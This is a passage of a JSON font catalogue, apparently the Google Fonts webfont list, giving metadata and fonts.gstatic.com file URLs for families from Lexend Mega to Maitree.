        "regular": "http://fonts.gstatic.com/s/lexendmega/v1/qFdA35aBi5JtHD41zSTFEv7K6BsAikI7.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lexend Peta",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/lexendpeta/v1/BXRvvFPGjeLPh0kCfI4OkE_1c8Tf1IW3.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lexend Tera",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/lexendtera/v1/RrQUbo98_jt_IXnBPwCWtZhARYMgGtWA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lexend Zetta",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/lexendzetta/v1/ll87K2KYXje7CdOFnEWcU8soliQejRR7AQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Libre Barcode 128",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/librebarcode128/v9/cIfnMbdUsUoiW3O_hVviCwVjuLtXeJ_A_gMk0izH.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Libre Barcode 128 Text",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/librebarcode128text/v9/fdNv9tubt3ZEnz1Gu3I4-zppwZ9CWZ16Z0w5cV3Y6M90w4k.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Libre Barcode 39",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/librebarcode39/v9/-nFnOHM08vwC6h8Li1eQnP_AHzI2K_d709jy92k.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Libre Barcode 39 Extended",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/librebarcode39extended/v8/8At7Gt6_O5yNS0-K4Nf5U922qSzhJ3dUdfJpwNUgfNRCOZ1GOBw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Libre Barcode 39 Extended Text",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/librebarcode39extendedtext/v8/eLG1P_rwIgOiDA7yrs9LoKaYRVLQ1YldrrOnnL7xPO4jNP68fLIiPopNNA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Libre Barcode 39 Text",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/librebarcode39text/v9/sJoa3KhViNKANw_E3LwoDXvs5Un0HQ1vT-031RRL-9rYaw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Libre Baskerville",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-22",
      "files": {
        "regular": "http://fonts.gstatic.com/s/librebaskerville/v7/kmKnZrc3Hgbbcjq75U4uslyuy4kn0pNeYRI4CN2V.ttf",
        "italic": "http://fonts.gstatic.com/s/librebaskerville/v7/kmKhZrc3Hgbbcjq75U4uslyuy4kn0qNcaxYaDc2V2ro.ttf",
        "700": "http://fonts.gstatic.com/s/librebaskerville/v7/kmKiZrc3Hgbbcjq75U4uslyuy4kn0qviTjYwI8Gcw6Oi.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Libre Caslon Display",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/librecaslondisplay/v1/TuGOUUFxWphYQ6YI6q9Xp61FQzxDRKmzr2lRdRhtCC4d.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Libre Caslon Text",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/librecaslontext/v1/DdT878IGsGw1aF1JU10PUbTvNNaDMcq_3eNrHgO1.ttf",
        "italic": "http://fonts.gstatic.com/s/librecaslontext/v1/DdT678IGsGw1aF1JU10PUbTvNNaDMfq91-dJGxO1q9o.ttf",
        "700": "http://fonts.gstatic.com/s/librecaslontext/v1/DdT578IGsGw1aF1JU10PUbTvNNaDMfID8sdjNR-8ssPt.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Libre Franklin",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-22",
      "files": {
        "100": "http://fonts.gstatic.com/s/librefranklin/v4/jizBREVItHgc8qDIbSTKq4XkRi182zIZj1bIkNo.ttf",
        "100italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizHREVItHgc8qDIbSTKq4XkRiUa41YTi3TNgNq55w.ttf",
        "200": "http://fonts.gstatic.com/s/librefranklin/v4/jizAREVItHgc8qDIbSTKq4XkRi3Q-hIzoVrBicOg.ttf",
        "200italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizGREVItHgc8qDIbSTKq4XkRiUa4_oyq17jjNOg_oc.ttf",
        "300": "http://fonts.gstatic.com/s/librefranklin/v4/jizAREVItHgc8qDIbSTKq4XkRi20-RIzoVrBicOg.ttf",
        "300italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizGREVItHgc8qDIbSTKq4XkRiUa454xq17jjNOg_oc.ttf",
        "regular": "http://fonts.gstatic.com/s/librefranklin/v4/jizDREVItHgc8qDIbSTKq4XkRhUY0TY7ikbI.ttf",
        "italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizBREVItHgc8qDIbSTKq4XkRiUa2zIZj1bIkNo.ttf",
        "500": "http://fonts.gstatic.com/s/librefranklin/v4/jizAREVItHgc8qDIbSTKq4XkRi3s-BIzoVrBicOg.ttf",
        "500italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizGREVItHgc8qDIbSTKq4XkRiUa48Ywq17jjNOg_oc.ttf",
        "600": "http://fonts.gstatic.com/s/librefranklin/v4/jizAREVItHgc8qDIbSTKq4XkRi3A_xIzoVrBicOg.ttf",
        "600italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizGREVItHgc8qDIbSTKq4XkRiUa4-o3q17jjNOg_oc.ttf",
        "700": "http://fonts.gstatic.com/s/librefranklin/v4/jizAREVItHgc8qDIbSTKq4XkRi2k_hIzoVrBicOg.ttf",
        "700italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizGREVItHgc8qDIbSTKq4XkRiUa4442q17jjNOg_oc.ttf",
        "800": "http://fonts.gstatic.com/s/librefranklin/v4/jizAREVItHgc8qDIbSTKq4XkRi24_RIzoVrBicOg.ttf",
        "800italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizGREVItHgc8qDIbSTKq4XkRiUa45I1q17jjNOg_oc.ttf",
        "900": "http://fonts.gstatic.com/s/librefranklin/v4/jizAREVItHgc8qDIbSTKq4XkRi2c_BIzoVrBicOg.ttf",
        "900italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizGREVItHgc8qDIbSTKq4XkRiUa47Y0q17jjNOg_oc.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Life Savers",
      "category": "display",
      "variants": [
        "regular",
        "700",
        "800"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/lifesavers/v10/ZXuie1UftKKabUQMgxAal_lrFgpbuNvB.ttf",
        "700": "http://fonts.gstatic.com/s/lifesavers/v10/ZXu_e1UftKKabUQMgxAal8HXOS5Tk8fIpPRW.ttf",
        "800": "http://fonts.gstatic.com/s/lifesavers/v10/ZXu_e1UftKKabUQMgxAal8HLOi5Tk8fIpPRW.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lilita One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/lilitaone/v7/i7dPIFZ9Zz-WBtRtedDbUEZ2RFq7AwU.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lily Script One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/lilyscriptone/v7/LhW9MV7ZMfIPdMxeBjBvFN8SXLS4gsSjQNsRMg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Limelight",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/limelight/v10/XLYkIZL7aopJVbZJHDuYPeNGrnY2TA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Linden Hill",
      "category": "serif",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/lindenhill/v9/-F61fjxoKSg9Yc3hZgO8ygFI7CwC009k.ttf",
        "italic": "http://fonts.gstatic.com/s/lindenhill/v9/-F63fjxoKSg9Yc3hZgO8yjFK5igg1l9kn-s.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Literata",
      "category": "serif",
      "variants": [
        "regular",
        "500",
        "600",
        "700",
        "italic",
        "500italic",
        "600italic",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v15",
      "lastModified": "2020-02-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/literata/v15/or38Q6P12-iJxAIgLa78DkTtAoDhk0oVpaLVa5RXzC1KOw.ttf",
        "500": "http://fonts.gstatic.com/s/literata/v15/or38Q6P12-iJxAIgLa78DkTtAoDhk0oVl6LVa5RXzC1KOw.ttf",
        "600": "http://fonts.gstatic.com/s/literata/v15/or38Q6P12-iJxAIgLa78DkTtAoDhk0oVe6XVa5RXzC1KOw.ttf",
        "700": "http://fonts.gstatic.com/s/literata/v15/or38Q6P12-iJxAIgLa78DkTtAoDhk0oVQqXVa5RXzC1KOw.ttf",
        "italic": "http://fonts.gstatic.com/s/literata/v15/or3yQ6P12-iJxAIgLYT1PLs1a-t7PU0AbeE9KJ5T7ihaO_CS.ttf",
        "500italic": "http://fonts.gstatic.com/s/literata/v15/or3yQ6P12-iJxAIgLYT1PLs1a-t7PU0AbeEPKJ5T7ihaO_CS.ttf",
        "600italic": "http://fonts.gstatic.com/s/literata/v15/or3yQ6P12-iJxAIgLYT1PLs1a-t7PU0AbeHjL55T7ihaO_CS.ttf",
        "700italic": "http://fonts.gstatic.com/s/literata/v15/or3yQ6P12-iJxAIgLYT1PLs1a-t7PU0AbeHaL55T7ihaO_CS.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Liu Jian Mao Cao",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "chinese-simplified",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/liujianmaocao/v5/845DNN84HJrccNonurqXILGpvCOoferVKGWsUo8.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Livvic",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v3",
      "lastModified": "2019-11-05",
      "files": {
        "100": "http://fonts.gstatic.com/s/livvic/v3/rnCr-x1S2hzjrlffC-M-mHnOSOuk.ttf",
        "100italic": "http://fonts.gstatic.com/s/livvic/v3/rnCt-x1S2hzjrlfXbdtakn3sTfukQHs.ttf",
        "200": "http://fonts.gstatic.com/s/livvic/v3/rnCq-x1S2hzjrlffp8IeslfCQfK9WQ.ttf",
        "200italic": "http://fonts.gstatic.com/s/livvic/v3/rnCs-x1S2hzjrlfXbdv2s13GY_etWWIJ.ttf",
        "300": "http://fonts.gstatic.com/s/livvic/v3/rnCq-x1S2hzjrlffw8EeslfCQfK9WQ.ttf",
        "300italic": "http://fonts.gstatic.com/s/livvic/v3/rnCs-x1S2hzjrlfXbduSsF3GY_etWWIJ.ttf",
        "regular": "http://fonts.gstatic.com/s/livvic/v3/rnCp-x1S2hzjrlfnb-k6unzeSA.ttf",
        "italic": "http://fonts.gstatic.com/s/livvic/v3/rnCr-x1S2hzjrlfXbeM-mHnOSOuk.ttf",
        "500": "http://fonts.gstatic.com/s/livvic/v3/rnCq-x1S2hzjrlffm8AeslfCQfK9WQ.ttf",
        "500italic": "http://fonts.gstatic.com/s/livvic/v3/rnCs-x1S2hzjrlfXbdvKsV3GY_etWWIJ.ttf",
        "600": "http://fonts.gstatic.com/s/livvic/v3/rnCq-x1S2hzjrlfft8ceslfCQfK9WQ.ttf",
        "600italic": "http://fonts.gstatic.com/s/livvic/v3/rnCs-x1S2hzjrlfXbdvmtl3GY_etWWIJ.ttf",
        "700": "http://fonts.gstatic.com/s/livvic/v3/rnCq-x1S2hzjrlff08YeslfCQfK9WQ.ttf",
        "700italic": "http://fonts.gstatic.com/s/livvic/v3/rnCs-x1S2hzjrlfXbduCt13GY_etWWIJ.ttf",
        "900": "http://fonts.gstatic.com/s/livvic/v3/rnCq-x1S2hzjrlff68QeslfCQfK9WQ.ttf",
        "900italic": "http://fonts.gstatic.com/s/livvic/v3/rnCs-x1S2hzjrlfXbdu6tV3GY_etWWIJ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lobster",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v22",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/lobster/v22/neILzCirqoswsqX9_oWsMqEzSJQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lobster Two",
      "category": "display",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/lobstertwo/v12/BngMUXZGTXPUvIoyV6yN59fK7KSJ4ACD.ttf",
        "italic": "http://fonts.gstatic.com/s/lobstertwo/v12/BngOUXZGTXPUvIoyV6yN5-fI5qCr5RCDY_k.ttf",
        "700": "http://fonts.gstatic.com/s/lobstertwo/v12/BngRUXZGTXPUvIoyV6yN5-92w4CByxyKeuDp.ttf",
        "700italic": "http://fonts.gstatic.com/s/lobstertwo/v12/BngTUXZGTXPUvIoyV6yN5-fI3hyEwRiof_DpXMY.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Londrina Outline",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/londrinaoutline/v10/C8c44dM8vmb14dfsZxhetg3pDH-SfuoxrSKMDvI.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Londrina Shadow",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/londrinashadow/v9/oPWX_kB4kOQoWNJmjxLV5JuoCUlXRlaSxkrMCQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Londrina Sketch",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/londrinasketch/v8/c4m41npxGMTnomOHtRU68eIJn8qfWWn5Pos6CA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Londrina Solid",
      "category": "display",
      "variants": [
        "100",
        "300",
        "regular",
        "900"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/londrinasolid/v9/flUjRq6sw40kQEJxWNgkLuudGfs9KBYesZHhV64.ttf",
        "300": "http://fonts.gstatic.com/s/londrinasolid/v9/flUiRq6sw40kQEJxWNgkLuudGfv1CjY0n53oTrcL.ttf",
        "regular": "http://fonts.gstatic.com/s/londrinasolid/v9/flUhRq6sw40kQEJxWNgkLuudGcNZIhI8tIHh.ttf",
        "900": "http://fonts.gstatic.com/s/londrinasolid/v9/flUiRq6sw40kQEJxWNgkLuudGfvdDzY0n53oTrcL.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Long Cang",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "chinese-simplified",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/longcang/v5/LYjAdGP8kkgoTec8zkRgrXArXN7HWQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lora",
      "category": "serif",
      "variants": [
        "regular",
        "500",
        "600",
        "700",
        "italic",
        "500italic",
        "600italic",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v15",
      "lastModified": "2020-03-20",
      "files": {
        "regular": "http://fonts.gstatic.com/s/lora/v15/0QI6MX1D_JOuGQbT0gvTJPa787weuyJGmKxemMeZ.ttf",
        "500": "http://fonts.gstatic.com/s/lora/v15/0QI6MX1D_JOuGQbT0gvTJPa787wsuyJGmKxemMeZ.ttf",
        "600": "http://fonts.gstatic.com/s/lora/v15/0QI6MX1D_JOuGQbT0gvTJPa787zAvCJGmKxemMeZ.ttf",
        "700": "http://fonts.gstatic.com/s/lora/v15/0QI6MX1D_JOuGQbT0gvTJPa787z5vCJGmKxemMeZ.ttf",
        "italic": "http://fonts.gstatic.com/s/lora/v15/0QI8MX1D_JOuMw_hLdO6T2wV9KnW-MoFkqh8ndeZzZ0.ttf",
        "500italic": "http://fonts.gstatic.com/s/lora/v15/0QI8MX1D_JOuMw_hLdO6T2wV9KnW-PgFkqh8ndeZzZ0.ttf",
        "600italic": "http://fonts.gstatic.com/s/lora/v15/0QI8MX1D_JOuMw_hLdO6T2wV9KnW-BQCkqh8ndeZzZ0.ttf",
        "700italic": "http://fonts.gstatic.com/s/lora/v15/0QI8MX1D_JOuMw_hLdO6T2wV9KnW-C0Ckqh8ndeZzZ0.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Love Ya Like A Sister",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/loveyalikeasister/v10/R70EjzUBlOqPeouhFDfR80-0FhOqJubN-Be78nZcsGGycA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Loved by the King",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/lovedbytheking/v9/Gw6gwdP76VDVJNXerebZxUMeRXUF2PiNlXFu2R64.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lovers Quarrel",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/loversquarrel/v7/Yq6N-LSKXTL-5bCy8ksBzpQ_-zAsY7pO6siz.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Luckiest Guy",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/luckiestguy/v10/_gP_1RrxsjcxVyin9l9n_j2RStR3qDpraA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lusitana",
      "category": "serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/lusitana/v7/CSR84z9ShvucWzsMKxhaRuMiSct_.ttf",
        "700": "http://fonts.gstatic.com/s/lusitana/v7/CSR74z9ShvucWzsMKyDmaccqYtd2vfwk.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lustria",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/lustria/v7/9oRONYodvDEyjuhOrCg5MtPyAcg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "M PLUS 1p",
      "category": "sans-serif",
      "variants": [
        "100",
        "300",
        "regular",
        "500",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "cyrillic",
        "japanese",
        "vietnamese",
        "hebrew",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v19",
      "lastModified": "2020-03-03",
      "files": {
        "100": "http://fonts.gstatic.com/s/mplus1p/v19/e3tleuShHdiFyPFzBRrQnDQAUW3aq-5N.ttf",
        "300": "http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQVBYge0PWovdU4w.ttf",
        "regular": "http://fonts.gstatic.com/s/mplus1p/v19/e3tjeuShHdiFyPFzBRro-D4Ec2jKqw.ttf",
        "500": "http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQDBcge0PWovdU4w.ttf",
        "700": "http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQRBEge0PWovdU4w.ttf",
        "800": "http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQWBIge0PWovdU4w.ttf",
        "900": "http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQfBMge0PWovdU4w.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "M PLUS Rounded 1c",
      "category": "sans-serif",
      "variants": [
        "100",
        "300",
        "regular",
        "500",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "cyrillic",
        "japanese",
        "vietnamese",
        "hebrew",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-11-05",
      "files": {
        "100": "http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGCAYIAV6gnpUpoWwNkYvrugw9RuM3ixLsg6-av1x0.ttf",
        "300": "http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM0q5psKxeqmzgRK.ttf",
        "regular": "http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGEAYIAV6gnpUpoWwNkYvrugw9RuPWGzr8C7vav.ttf",
        "500": "http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM1y55sKxeqmzgRK.ttf",
        "700": "http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM064ZsKxeqmzgRK.ttf",
        "800": "http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM0m4psKxeqmzgRK.ttf",
        "900": "http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM0C45sKxeqmzgRK.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Ma Shan Zheng",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "chinese-simplified",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/mashanzheng/v5/NaPecZTRCLxvwo41b4gvzkXaRMTsDIRSfr0.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Macondo",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/macondo/v8/RrQQboN9-iB1IXmOS2XO0LBBd4Y.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Macondo Swash Caps",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/macondoswashcaps/v7/6NUL8EaAJgGKZA7lpt941Z9s6ZYgDq6Oekoa_mm5bA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mada",
      "category": "sans-serif",
      "variants": [
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "900"
      ],
      "subsets": [
        "arabic",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "200": "http://fonts.gstatic.com/s/mada/v8/7Au_p_0qnzeSdf3nCCL8zkwMIFg.ttf",
        "300": "http://fonts.gstatic.com/s/mada/v8/7Au_p_0qnzeSdZnkCCL8zkwMIFg.ttf",
        "regular": "http://fonts.gstatic.com/s/mada/v8/7Auwp_0qnzeSTTXMLCrX0kU.ttf",
        "500": "http://fonts.gstatic.com/s/mada/v8/7Au_p_0qnzeSdcHlCCL8zkwMIFg.ttf",
        "600": "http://fonts.gstatic.com/s/mada/v8/7Au_p_0qnzeSde3iCCL8zkwMIFg.ttf",
        "700": "http://fonts.gstatic.com/s/mada/v8/7Au_p_0qnzeSdYnjCCL8zkwMIFg.ttf",
        "900": "http://fonts.gstatic.com/s/mada/v8/7Au_p_0qnzeSdbHhCCL8zkwMIFg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Magra",
      "category": "sans-serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/magra/v8/uK_94ruaZus72k5xIDMfO-ed.ttf",
        "700": "http://fonts.gstatic.com/s/magra/v8/uK_w4ruaZus72nbNDxcXEPuUX1ow.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Maiden Orange",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/maidenorange/v10/kJE1BuIX7AUmhi2V4m08kb1XjOZdCZS8FY8.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Maitree",
      "category": "serif",
      "variants": [
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "200": "http://fonts.gstatic.com/s/maitree/v4/MjQDmil5tffhpBrklhGNWJGovLdh6OE.ttf",
        "300": "http://fonts.gstatic.com/s/maitree/v4/MjQDmil5tffhpBrklnWOWJGovLdh6OE.ttf",
        "regular": "http://fonts.gstatic.com/s/maitree/v4/MjQGmil5tffhpBrkrtmmfJmDoL4.ttf",
        "500": "http://fonts.gstatic.com/s/maitree/v4/MjQDmil5tffhpBrkli2PWJGovLdh6OE.ttf",
        "600": "http://fonts.gstatic.com/s/maitree/v4/MjQDmil5tffhpBrklgGIWJGovLdh6OE.ttf",
